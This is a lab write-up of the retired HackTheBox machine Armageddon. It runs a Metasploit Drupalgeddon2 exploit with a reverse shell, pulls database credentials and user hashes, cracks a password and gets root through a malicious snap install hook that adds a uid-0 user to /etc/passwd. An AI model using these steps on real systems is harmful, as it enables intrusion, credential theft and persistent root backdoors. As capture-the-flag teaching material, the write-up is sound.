HTB: Armageddon

armageddon Card

This box is a writeup about a retired HacktheBox machine: Armageddon publish on Mars 27, 2021 by Bertolis. This box is rated as an easy machine. It implies the drupalgeddon vulnerability and some permissive sudo permissions.

Foothold

Recon

Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.

# Nmap 7.91 scan initiated Sat May 15 04:16:52 2021 as: nmap -p- -oN nmap -sSV 10.129.48.89
Nmap scan report for 10.129.48.89
Host is up (0.015s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 15 04:17:15 2021 -- 1 IP address (1 host up) scanned in 22.79 seconds

The name and the blog on the port 80 directly made me think about drupalgeddon. We fireup metasloit.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > use exploit/unix/webapp/drupal_drupalgeddon2

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.17:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.129.48.89
[*] Meterpreter session 3 opened (10.10.14.17:4444 -> 10.129.48.89:38608) at 2021-04-25 04:52:28 -0400

meterpreter > shell
Process 2993 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Privilege escalation

We start enumeration the box and gout the MySQL Database password in a configuration file.

cat ./sites/default/settings.php
<SNIP>
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);
<SNIP>

We use mysldump to dump the database in a file. Inside the dump we found the hashed password for the website users.

mysqldump -u drupaluser -p drupal > /tmp/dump
Enter password: CQHEy@9M*m23gBVj

<SNIP>
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (0,'','','','','',NULL,0,0,0,0,NULL,'',0,'',NULL),(1,'brucetherealadmin','$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt','admin@armageddon.eu','','','filtered_html',1606998756,1607077194,1607076276,1,'Europe/London','',0,'admin@armageddon.eu','a:1:{s:7:\"overlay\";i:1;}'),(3,'admin','$S$DM9qGcKQlMpP4V5r4Dv8XlqsecY6zJrBwRyrkkF5YUjUiJt46NQP','admin@armageddon.htb','','','filtered_html',1618820338,0,0,0,'Europe/London','',0,'admin@armageddon.htb',NULL);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;

We put them in a file and run john on it. We found the password for the brucetherealadmin user. Which is also a system user (see /etc/passwd).

$ john hash -w=~/tools/password_lists/rockyou.txt
<SNIP>
--------------------------------------------------------------------------
Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
booboo           (brucetherealadmin)
1g 0:00:00:00 DONE (2021-04-25 11:04) 1.960g/s 470.5p/s 470.5c/s 470.5C/s tiffany..chris
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can use SSH to connect to the machine as this user and grab the first flag.

└─$ ssh brucetherealadmin@10.129.48.89
brucetherealadmin@10.129.48.89's password:
Last login: Sat May 15 10:05:01 2021 from 10.10.14.17
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
bcb2084548c43514b5451c42c480bf9f

Root

We take a look at our privileges and found that we can run snap install as root.

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

According to gtfobins we can easily use that to run commands as root using fpm to create a snap file.

We install fpm on our kali box sudo gem install --no-document fpm. We build a snap on our machine using fmp and the command on gtfobins.

└─$ COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n test -s dir -t snap -a all meta

Using scp we upload the snap file to the box and "install" it.

[brucetherealadmin@armageddon tmp.Y8rUvO3A58]$ sudo /usr/bin/snap install test_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0)

We change the command to display the root flag

└─$ COMMAND='cat /root/root.txt'
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n test -s dir -t snap -a all meta

Created package {:path=>"test_1.0_all.snap

[brucetherealadmin@armageddon tmp.CR7TIBjISj]$ sudo /usr/bin/snap install test_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test" snap if present (run hook "install": 59303daefd76582a8731bbc25b7b9c47)

We want a root shell an not just to display the flag. As we can run any command as root we have a few choices:

  • Add a root (id 0) user to /etc/passwd with a password of our choice
  • Add an ssh key to root
  • run a reverse shell
  • a few others

We will go with the first one. On our kali we use openssl to generate a hashed password

openssl passwd -1 -salt ignite pass123
$1$ignite$LcHWKSHaZ8KUa68dh14V6.

We change our install hook command to add to /etc/passwd, regenerate the snap and copy it to the box.

└─$ cat meta/hooks/install
#!/bin/sh
echo 'toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash'>>/etc/passwd; false

┌──(kali㉿kali)-[/tmp/tmp.podJijQ4NH]
└─$ fpm -n test2 -s dir -t snap -a all meta
Created package {:path=>"test2_1.0_all.snap"}

└─$ scp test2_1.0_all.snap brucetherealadmin@10.129.48.89:

We install the snap on the box which create the toto2 user and we can switch to it to get a root shell and grab the root flag

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install test2_1.0_all.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "test2" snap if present (run hook "install": exit status 1)
[brucetherealadmin@armageddon ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
[brucetherealadmin@armageddon ~]$ su toto2
Password:
[root@armageddon brucetherealadmin]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@armageddon brucetherealadmin]# cat /root/root.txt
59303daefd76582a8731bbc25b7b9c47